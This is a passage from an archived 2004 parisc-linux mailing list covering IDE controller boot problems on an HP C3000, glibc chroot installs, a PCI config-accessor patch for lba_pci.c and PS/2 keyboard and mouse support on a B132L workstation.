Did that too, and had some success!

Now the siimage driver detects the hard drive correctly as "ST311022A" and
also sees the partition. Even mounting works, but I see lots of
"hda: lost interrupt" messages and it takes forever (several minutes) to
mount.

So I now got as far with the siimage driver as with the promise driver.
Both somewhat work, but there is a interrupt delivery problem.


===========

But NOW I have some very weird problem for you!

I also compiled a kernel with the same changes to ide.h and pci.c,
but this time using the NS87415 driver (onboard IDE of the C3000).

I doubt that the pci.c and ide.h changes contribute to the mystery, but I
could not verify  it yet by compiling a unpatched, vanilla linux-2.6.4-rc1-pa3
kernel.

Anyway, the IDE hard drive works with the onboard IDE controller of the C3000!


... Well, not 100%. Let me explain. The mystery is:

IDE works fine (without DMA support, like in the 2.4 kernels), as long as
I interrupt the automatic boot up and to a "sea" followed by a "bo pri".

If I just start the machine and don't interrupt the automatic boot up,
it will cause a HPMC. Also if I do interrupt the automatic boot up,
and just do a "bo pri" WITHOUT a "sea" first, it will also cause a HPMC.

This is 100% reproduceable. I rebooted the machine 6 times without
interruption of the boot up sequence, and 7 times I interrupted and
did a "sea" inbetween, and every time the same result.

Just to be sure I also did the following:

- Sometimes I rebooted several times after each other without interrupting
  the boot sequence, and I every time got a HPMC.
- Sometimes I interrupted twice in a row and did a "sea" and IDE worked
  every time.
- Sometimes I soft rebooted instead of hitting the power button (power cycle),
  and every time it was the same result: it only works when I do "sea"
  at the PDC.

BTW, I have "AutoSearch ON".

So it seems "sea" is initializing the IDE card or some PCI registers,
and IDE works. Without it it causes a HPMC.

Perhaps this is related with the (possible) problem in the PCI config
accessor functions (as Grant suspects).


Randolph, it might be even the case that IDE is also working for you
and your 2.6 kernel you are experimenting with, if you just do a "sea"
before booting palo/linux.
Maybe the onboard IDE controller was working all time with previous 2.6
kernels, but I didn't notice it since I didn't do a "sea" back then ...



Further info (boot logs etc.) can be found here:
http://www.cs.ucc.ie/~xam/ide/


Thanks for your attention,
  Max


From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: 09 Mar 2004 10:39:11 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <kfheks2av34.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <404782C800002FD2@ocpmta1.freegates.net>
	<kfhk71uawj9.fsf@perpugilliam.csclub.uwaterloo.ca>
	<20040309150910.GE22721@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623253 6416 80.91.229.3 (22 Nov 2014 02:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Tue Mar  9 08:39:14 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1763748FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:39:14 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 04F1C10C84C; Tue,  9 Mar 2004 10:39:12 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <20040309150910.GE22721@baldric.uwo.ca>
Original-Lines: 16
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:39:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21030


Carlos O'Donell <carlos@baldric.uwo.ca> writes:

> On Tue, Mar 09, 2004 at 10:07:54AM -0500, James Morrison wrote:
> >  Shouldn't this be --prefix=/usr then make install_root=/mnt/chroot install?
> 
> Yes, you can go that way, I think just prefix works aswell.
> Unless you have seen this fail before?
> 
> Glibc doesn't do any path mangling so far as I know.
> 
> c.

 Humm, it may be a Hurd thing where libc needs the correct prefix.

Jim


From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Tue, 9 Mar 2004 16:41:04 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <404782C8000031DE@ocpmta1.freegates.net>
References: <20040309150318.GD22721@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623253 6418 80.91.229.3 (22 Nov 2014 02:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar  9 08:41:07 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88E6D48FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:41:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B0jLt-0007DG-00; Tue, 09 Mar 2004 16:41:05 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 9 Mar 2004 16:41:04 +0100
In-Reply-To: <20040309150318.GD22721@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:41:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21031

Hi Carlos,

>Both unstable, testing, and stable should technically be tested with the
>new glibc :) You can test with whichever you like right now.
>
>Never *ever* install glibc on a running system, always install to the
>chroot, and jump into the chroot.

Yes I read the hot but interesting thread "Latest Glibc from CVS has segmentation
problems"

Thanks for remind,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Tue, 9 Mar 2004 11:38:39 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20040309183839.GA19675@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623253 6419 80.91.229.3 (22 Nov 2014 02:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: grundler@lackof.org  Tue Mar  9 11:38:41 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FE484856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 11:38:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E8F39298094; Tue,  9 Mar 2004 11:38:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20623-09; Tue, 9 Mar 2004 11:38:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0F6B3298027; Tue,  9 Mar 2004 11:38:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040309072917.GN1113@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 18:38:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21032

On Mon, Mar 08, 2004 at 11:29:17PM -0800, Randolph Chung wrote:
...
> Grant tells me that he suspects there's a bug somewhere in the pci
> config accessor functions tho...

After getting some sleep, I'm convinced the lba_pci.c cfg accessors
are wrong. The following patch should fix the write path and IIRC,
Randolph already tried this out.

Two remaining issues:
1) I still need to figure out why the "TR4PLUS" code path doesn't work
   for config space read function. It still crashes with changes
   similar to the write path.

2) Both "astro" based workstations and servers provide PCI config
   accessors via PDC. A patch to support those was submitted a month
   or so ago but I haven't heard back if the submitter could/would
   apply the requested changes.

thanks,
grant

Index: drivers/parisc/lba_pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
retrieving revision 1.9
diff -u -p -r1.9 lba_pci.c
--- a/drivers/parisc/lba_pci.c	4 Feb 2004 16:31:16 -0000	1.9
+++ b/drivers/parisc/lba_pci.c	9 Mar 2004 06:57:06 -0000
@@ -613,13 +612,14 @@ static int lba_cfg_write(struct pci_bus 
 	/* Basic Algorithm */
 	LBA_CFG_TR4_ADDR_SETUP(d, tok | pos);
 	switch(size) {
-	case 1: WRITE_REG8 (data, d->hba.base_addr + LBA_PCI_CFG_DATA);
+	case 1: WRITE_REG8 (data, d->hba.base_addr + LBA_PCI_CFG_DATA + (pos & 3));
 		   break;
-	case 2: WRITE_REG16(data, d->hba.base_addr + LBA_PCI_CFG_DATA);
+	case 2: WRITE_REG16(data, d->hba.base_addr + LBA_PCI_CFG_DATA + (pos & 2));
 		   break;
 	case 4: WRITE_REG32(data, d->hba.base_addr + LBA_PCI_CFG_DATA);
 		   break;
 	}
+	/* flush posted write */
 	lba_t32 = READ_REG32(d->hba.base_addr + LBA_PCI_CFG_ADDR);
 	return 0;
 }


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 21:04:00 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20040309210400.GM2148@parcelfarce.linux.theplanet.co.uk>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<20040309053615.GA11669@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623254 6421 80.91.229.3 (22 Nov 2014 02:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:34 +0000 (UTC)
Cc: Andy Walker <andy@puszczka.com>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Tue Mar  9 14:04:04 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C938D4856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 14:04:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B0oOO-0001Wn-Pi; Tue, 09 Mar 2004 21:04:00 +0000
Content-Disposition: inline
In-Reply-To: <20040309053615.GA11669@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 21:04:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21033

On Mon, Mar 08, 2004 at 10:36:15PM -0700, Grant Grundler wrote:
> On Mon, Mar 08, 2004 at 12:28:37PM +0100, Andy Walker wrote:
> > Why is 8/12 (0x00089) reported as unknown in the device table and in
> > proc/interrupts? Its the Zalon HVD SCSI.
> ...
> > 6. unknown device at 0xfff8c000 [8/12] { 4, 0x0, 0x03c, 0x00089 }
> 
> It means we don't have an entry for Zalon in arch/parisc/kernel/hardware.c
> Can you submit a patch for that?
> 
> (I confess: I'm being very lazy tonight and don't want to figure
> what needs to go into the hardware.c array)

*grumble*.  I changed the output format so you could simply copy and paste
it into hardware.c!  That's exceptionally lazy of you :-P

(you can tell boot logs that predate this change because they don't use 
{ } around the numbers).

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 21:16:26 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20040309211626.GN2148@parcelfarce.linux.theplanet.co.uk>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<20040309053615.GA11669@colo.lackof.org>
	<53604.193.161.152.244.1078831651.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623254 6433 80.91.229.3 (22 Nov 2014 02:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:34 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: willy@www.linux.org.uk  Tue Mar  9 14:16:27 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB5694856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 14:16:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B0oaQ-0001e8-4F; Tue, 09 Mar 2004 21:16:26 +0000
Content-Disposition: inline
In-Reply-To: <53604.193.161.152.244.1078831651.squirrel@www.puszczka.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 21:16:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21034

On Tue, Mar 09, 2004 at 12:27:31PM +0100, Andy Walker wrote:
> Try this then. I just followed the pattern for B160L, C110 et. al.

Thanks, committed.

> There are other issues with the hardware.c array though. I guess they're
> not critical, and I've no idea how to resolve them as they seem to
> indicate duplication on HP's part. I guess this is old news:
> 
> 1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
> 2. Merlin+ 132 Dino RS-232 at 0xfff83000 [3] { 10, 0x0, 0x022, 0x0008c }
> 5. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
> 19. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085},
>    additional addresses: 0xf0011000
> 
> - Merlin+ 132 is B132L+, as far as I know. But this machine is
>   a plain Merlin/B132L. The Dino ports are marked Merlin+. Weird.
>   Could this imply mean Dino was upgraded to a non-broken rev. using
>   Merlin+ parts? There are separate items in hardware.c for 'Merlin
>   132 Dino PS/2 Port', and 'Merlin 132 Dino RS-232' but these don't
>   match.

Dunno about that one.  It doesn't seem terribly important really ;-)

> - what's listed as 'Coral SGC Graphics' is actually an A4071B_LZ GSC
>   card, aka. HCRX-24 with hardware acceleration board. No separate items
>   in hardware.c for any of A407[01][AB] or H?CRX-(8|24).
> 
> - what's listed as 'Gecko GSC Core Graphics' on my machine is actually
>   the 'Merlin 132 Core Graphics' i.e. the builtin Vis-EG. There is a
>   separate item in hardware.c for 'Merlin 132 Core Graphics' but it
>   doesn't match.

Yeah, the Graphics lab were pretty slap-dash about using the correct
versions on things.  This is something we've been living with since
the earliest days of the port.  Someone who was motivated might want to
collect information from a bunch of machines and fix it up.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 22:59:05 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200403092259.05202.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<28565.193.161.152.244.1078828435.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623254 6435 80.91.229.3 (22 Nov 2014 02:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:34 +0000 (UTC)
Cc: Andy Walker <andy@puszczka.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Tue Mar  9 15:03:53 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0C6C74856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 15:03:53 -0700 (MST)
Original-Received: (qmail 7175 invoked by uid 65534); 9 Mar 2004 22:03:51 -0000
Original-Received: from pD9040353.dip.t-dialin.net (EHLO p100) (217.4.3.83)
	by mail.gmx.net (mp016) with SMTP; 09 Mar 2004 23:03:51 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <28565.193.161.152.244.1078828435.squirrel@www.puszczka.com>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 22:03:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21035

On Dienstag, 9. Mrz 2004 11:33, Andy Walker wrote:
> I'm just about to give this a try. The reason these weren't enabled is
> that menuconfig was a bit non-intuitive (to me at least). Maybe I was
> just being paranoid, but when I selected ATKBD or MOUSE_PS2 then the GSC
> PS/2 item got closed up and I didn't know whether it was on or off. That
> scared me and I assumed that selecting GSC PS/2 support would enable
> everything else I needed. Compiling now, but I won't be able to test
> until I get home from work and actually get my hands on the keyboard/mouse.

Hi Andy,

I agree, that this behaviour seems somehow little strange. Thibaut Varene
complained too.
But on the other side without this auto-enablement of the GSC PS/2 controller
users maybe enable PS/2 mouse and/or PS/2 keyboard and miss enabling the
GSC PS/2 controller too - with the result, that neither keyboard or mouse would
work when the kernel is booted....

Personally I prefer the automatic enablement. Even on iA32 this is the default now.

Best regards,
Helge


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 23:21:53 +0100 (CET)
Lines: 40
Approved: news@gmane.org
Message-ID: <2998.192.168.1.54.1078870913.squirrel@www.puszczka.com>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<28565.193.161.152.244.1078828435.squirrel@www.puszczka.com>
	<200403092259.05202.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623255 6437 80.91.229.3 (22 Nov 2014 02:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: ajwalker@broadpark.no  Tue Mar  9 15:14:03 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E50F24856
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 15:14:02 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47]) by mail.broadpark.no (Postfix) with ESMTP
	id 9BF228FA4; Tue,  9 Mar 2004 23:14:01 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id A4D6782EF; Tue,  9 Mar 2004 23:21:53 +0100 (CET)
Original-Received: from 192.168.1.54 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Tue, 9 Mar 2004 23:21:53 +0100 (CET)
In-Reply-To: <200403092259.05202.deller@gmx.de>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 22:14:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21036

> On Dienstag, 9. Mrz 2004 11:33, Andy Walker wrote:
> Hi Andy,
>
> I agree, that this behaviour seems somehow little strange. Thibaut Varene
> complained too.
> But on the other side without this auto-enablement of the GSC PS/2
> controller
> users maybe enable PS/2 mouse and/or PS/2 keyboard and miss enabling the
> GSC PS/2 controller too - with the result, that neither keyboard or mouse
> would
> work when the kernel is booted....
>
> Personally I prefer the automatic enablement. Even on iA32 this is the
> default now.
>
> Best regards,
> Helge
>

Helge,

Glad to report that the keyboard is now working. No mouse yet, but I
need to try it without the KVM in the way as that's likely to be the
problem. Perhaps I need .proto=bare or .proto=imps2.
At the moment I get:

serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
input: AT Raw Set 2 keyboard on parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.

cat /dev/misc/psaux and wobbling the mouse gives nothing.

cheers,
-Andy





From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Tue, 9 Mar 2004 21:59:17 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040310045917.GA27984@colo.lackof.org>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
